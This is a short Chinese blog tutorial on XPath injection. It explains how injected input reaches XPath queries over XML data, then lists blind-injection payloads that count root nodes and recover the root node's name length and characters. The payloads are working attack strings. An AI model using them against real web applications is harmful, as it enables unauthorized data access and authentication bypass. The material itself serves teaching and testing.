Xpath注入

Xpath注入原理:
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。
攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据,如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。
因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。
XML 中没有访问控制或者用户认证,如果用户有权限使用 XPath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。
注入出现的位置也就是cookie,headers,request parameters/input等。

判断根节点数量:

payload:
u = "' or count(/)=1 or '1"
count(/)=1 一直到 count(/)=n,判断出根节点有几个。
当u = "' or count(/)=1 or '1"    返回正常,说明只有 1 个根节点。

获取根节点名:
首先获取名字长度。
payloadu = "' or string-length(name(/*[1]))=1 or '1"
string-length(name(/*[1]))=1 一直到 string-length(name(/*[1]))=1,判断出第一个根节点的名字长度。
当 u = "' or string-length(name(/*[1]))=4 or '1"    返回正常,说明第一个根节点的名字长度为 4。


判断根节点名字长度
Payload' or string-length(name(/*[1]))=1 or '1=1
	        ' or string-length(name(/*[1]))=2 or '1=1
	        ' or string-length(name(/*[1]))=3 or '1=1
	        ' or string-length(name(/*[1]))=4 or '1=1

获取根节点名字
通过 Payload:‘ or substring(name(/*[1]), 1, 1)=‘xor ‘1=1 得出的结果,最终名为 root

posted @   幻-心  阅读(378)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示
点击右上角即可分享
微信分享提示